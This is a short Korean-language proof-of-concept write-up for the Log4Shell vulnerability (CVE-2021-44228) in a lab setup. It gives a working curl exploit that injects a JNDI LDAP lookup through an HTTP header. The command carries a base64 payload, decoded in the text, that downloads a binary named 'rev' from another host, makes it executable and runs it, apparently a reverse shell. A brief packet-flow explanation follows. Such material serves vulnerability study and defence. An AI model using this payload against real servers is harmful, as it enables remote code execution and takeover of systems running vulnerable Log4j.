
Log4Shell(CVE-2021-44228)의 개념 증명(PoC)으로, JNDI 주입을 통한 원격 코드 실행을 시연하며, 취약한 서버 설정, 익스플로잇 명령, 패킷 분석을 포함합니다.
Log4Shell — CVE-2021-44228로도 알려짐 — 은 Apache 재단의 Log4j를 사용하는 시스템에서 원격 코드 실행을 가능하게 하는 치명적인 취약점입니다. Log4j는 상용 및 오픈소스 소프트웨어 제품과 유틸리티에서 널리 사용되는 오픈소스 자바 라이브러리입니다.

POC 분석
취약 서버는 포트 8080에서 실행 중입니다.

그리고 LDAP 서버는 HTTP 8888 및 LDAP 1389 두 개의 포트에서 실행 중입니다.

익스플로잇 명령어
curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==}'
{
172.17.0.2:8080 -- 취약 서버 IP
172.17.0.1:1389 -- LDAP 서버 IP
Base64 -- d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==
복호화된 명령어 - wget https://10.0.2.15:8000/rev -O /tmp/rev && chmod +x /tmp/rev && /tmp/rev
}
패킷 분석


패킷에서 볼 수 있듯이 서버는 LDAP 서버에 클래스를 요청하는 GET 요청을 보내고 있습니다. 익스플로잇 클래스를 확인하면 LDAP 서버가 익스플로잇 클래스 내에서 복호화된 명령어를 전송하는 것을 볼 수 있습니다.

참조